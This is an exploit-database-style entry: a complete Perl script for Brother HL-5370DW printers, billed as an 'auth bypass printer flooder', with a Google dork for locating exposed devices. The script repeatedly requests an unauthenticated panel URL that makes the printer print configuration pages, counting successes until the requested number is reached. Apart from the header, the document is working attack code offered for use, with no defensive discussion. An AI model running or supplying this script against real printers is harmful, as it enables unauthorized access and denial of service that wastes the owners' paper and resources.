# Exploit Title: Brother HL-5370DW series auth bypass printer flooder
# Google Dork: Copyright(C) 2000-2009 Brother Industries, Ltd. All Rights Reserved. Brother HL-5370DW series
# Date: 31/05/2011
# Author: chrisB
# Contact : chrisb [@) gmx.fr
# Version: Brother HL-5370DW series
 
#!/usr/bin/perl
use LWP::Simple;
 
usage() unless $ARGV[1];
 
$replace = 'post/panel.html?EXECUTE2=PRTCONFIG';
$hint = $ARGV[1];
$goodurl = $ARGV[0];
$success = 0;
$goodurl =~ s/main.html/$replace/;
 
 for ($count = $hint + 1; $count >= 1; $count--) {
        $contents = get($goodurl);
 
    if($contents =~ m/acknowledged/i)
    {
        $success++;
        print "success\n";
    }
    else
    {
        print "error, busy or no more paper\n";
    }
 }
 print "pages printed : $success \r\n";
     
sub usage
{
 print qq( Brother HL-5370DW series auth bypass printer flooder
        
Usage: perl $0 [http://url.fr/printer/main.html] [hints]
                   
)   and exit;
}